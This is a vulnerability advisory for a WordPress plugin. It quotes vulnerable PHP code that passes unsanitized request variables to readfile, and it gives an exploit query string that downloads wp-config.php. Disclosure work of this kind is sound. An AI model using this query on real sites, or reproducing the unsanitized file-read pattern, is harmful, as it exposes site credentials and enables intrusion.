Advisory
Analysis of vulnerability
The plugin hooks two functions as a part of its core functionality in core.php by adding an action for init and admin_init.
3 4 |
add_action('init', 'osc_session_init_fend'); // starts session add_action('admin_init', 'osc_session_init'); // starts session |
The first line calls into osc_session_init_fend whenever a WordPress page is loaded, in order to set up a session.
120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 |
function osc_session_init_fend() { session_name('osCsid'); $request_type = (getenv('HTTPS') == 'on') ? 'SSL' : 'NONSSL'; if (isset($_POST['osCsid'])) { session_id($_POST['osCsid']); } else if (($request_type == 'SSL') && isset($_GET['osCsid']) ) { session_id($_GET['osCsid']); } //if (!session_id()) session_start(); ob_start(); if ($_REQUEST['force']=='downloadnow') { header('Content-type: application/x-octet-stream'); header('Content-disposition: attachment; filename=' . $_REQUEST['file']); readfile($_REQUEST['turl'] . $_REQUEST['file']); // unlink($_REQUEST['turl'] . $_REQUEST['backup_file']); } wp_enqueue_script('jquery'); } |
The interesting thing is that on line 136 is checks the “force” request variable to see if it matches to “downloadnow”. If it is set, it will change the content type of the response to be a download, and then read the file set by the request variables “turl” and “file” and write that to the response. These variables are however not sanitized, which leads to an arbitrary file disclosure. We can exploit this by making a request to any page with following querystring, which will force the browser to download a page containing the contents of the wp-config.php file at the top of the file:
1 |
?force=downloadnow&turl=./&file=wp-config.php |